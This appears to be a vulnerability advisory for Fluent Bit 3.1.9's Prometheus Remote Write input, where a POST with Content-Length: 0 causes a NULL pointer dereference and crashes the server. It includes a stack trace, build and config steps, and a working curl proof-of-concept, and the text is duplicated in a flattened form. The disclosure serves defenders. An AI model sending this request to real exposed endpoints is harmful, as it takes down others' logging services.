Summary
When Prometheus Remote Write input plugin is running and listening on an IP:port, We can send a packet with Content-Length: 0
and it crashes the server. Improper handling of case when Content-Length
is 0
allows user with access to the endpoint, to perform a remote Denial of service attack. This attack is highly reproducable and attacker can repeat it any times he wants.
Details
The crash occurs because Content-Length: 0
is not properly handled and this causes a NULL pointer dereference
causing a crash. The stack trace for the crash is given below:
2024/10/08 13:04:49] [ info] [fluent bit] version=3.1.9, commit=, pid=1615440
[2024/10/08 13:04:49] [ info] [storage] ver=1.5.2, type=memory, sync=normal, checksum=off, max_chunks_up=128
[2024/10/08 13:04:49] [ info] [cmetrics] version=0.9.6
[2024/10/08 13:04:49] [ info] [ctraces ] version=0.5.6
[2024/10/08 13:04:49] [ info] [input:prometheus_remote_write:prometheus_remote_write.0] initializing
[2024/10/08 13:04:49] [ info] [input:prometheus_remote_write:prometheus_remote_write.0] storage_strategy='memory' (memory only)
[2024/10/08 13:04:49] [ info] [input:prometheus_remote_write:prometheus_remote_write.0] listening on 127.0.0.1:8080
[2024/10/08 13:04:49] [ info] [sp] stream processor started
[2024/10/08 13:04:49] [ info] [output:stdout:stdout.0] worker #0 started
[2024/10/08 13:05:00] [engine] caught signal (SIGSEGV)
#0 0x5d787552add5 in cfl_sds_len() at lib/cfl/src/cfl_sds.c:90
#1 0x5d78750606bb in process_payload_metrics_ng() at plugins/in_prometheus_remote_write/prom_rw_prot.c:435
#2 0x5d78750608d6 in prom_rw_prot_handle_ng() at plugins/in_prometheus_remote_write/prom_rw_prot.c:480
#3 0x5d7875452ca4 in flb_http_server_client_activity_event_handler() at src/http_server/flb_http_server.c:391
#4 0x5d7874dab7a9 in flb_engine_start() at src/flb_engine.c:1041
#5 0x5d7874d4454d in flb_lib_worker() at src/flb_lib.c:674
#6 0x79075e894ac2 in start_thread() at h:442
#7 0x79075e92684f in ???() at :81
#8 0xffffffffffffffff in ???() at ???:0
Aborted
The NULL pointer dereference
happens in the function cfl_sds_len
when it tries to type-cast a NULL pointer into struct cfl_sds *
.
PoC
Compilation
fluent-bit
was compiled using the following commands and options:
cmake -DFLB_SHARED_LIB=No -DCMAKE_C_COMPILER=gcc -DCMAKE_CXX_COMPILER=g++ ..
make -j8
Configuration
We use the default configuration given in documentation without any changes.
[INPUT]
name prometheus_remote_write
listen 127.0.0.1
port 8080
uri /api/prom/push
[OUTPUT]
name stdout
match *
Next we run fluent-bit
using command:
bin/fluent-bit -c prom.conf
Crash
We send the following packet to cause a crash:
#!/bin/bash
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: localhost:8080' -H $'Content-Length: 0' \
--data-binary $'message \"RkFSQU46TUVHQUNIQVIweDAx==\"' \
$'http://127.0.0.1:8080/api/prom/push'
Impact
It is a Denial of Service vulnerability that can be exploited remotely. Anyone who has exposed the endpoint of Prometheus Remote Write
can be victim of this attack.
Summary
When Prometheus Remote Write input plugin is running and listening on an IP:port, We can send a packet with
Content-Length: 0
and it crashes the server. Improper handling of case whenContent-Length
is0
allows user with access to the endpoint, to perform a remote Denial of service attack. This attack is highly reproducable and attacker can repeat it any times he wants.Details
The crash occurs because
Content-Length: 0
is not properly handled and this causes aNULL pointer dereference
causing a crash. The stack trace for the crash is given below:The
NULL pointer dereference
happens in the functioncfl_sds_len
when it tries to type-cast a NULL pointer intostruct cfl_sds *
.PoC
Compilation
fluent-bit
was compiled using the following commands and options:Configuration
We use the default configuration given in documentation without any changes.
Next we run
fluent-bit
using command:Crash
We send the following packet to cause a crash:
Impact
It is a Denial of Service vulnerability that can be exploited remotely. Anyone who has exposed the endpoint of
Prometheus Remote Write
can be victim of this attack.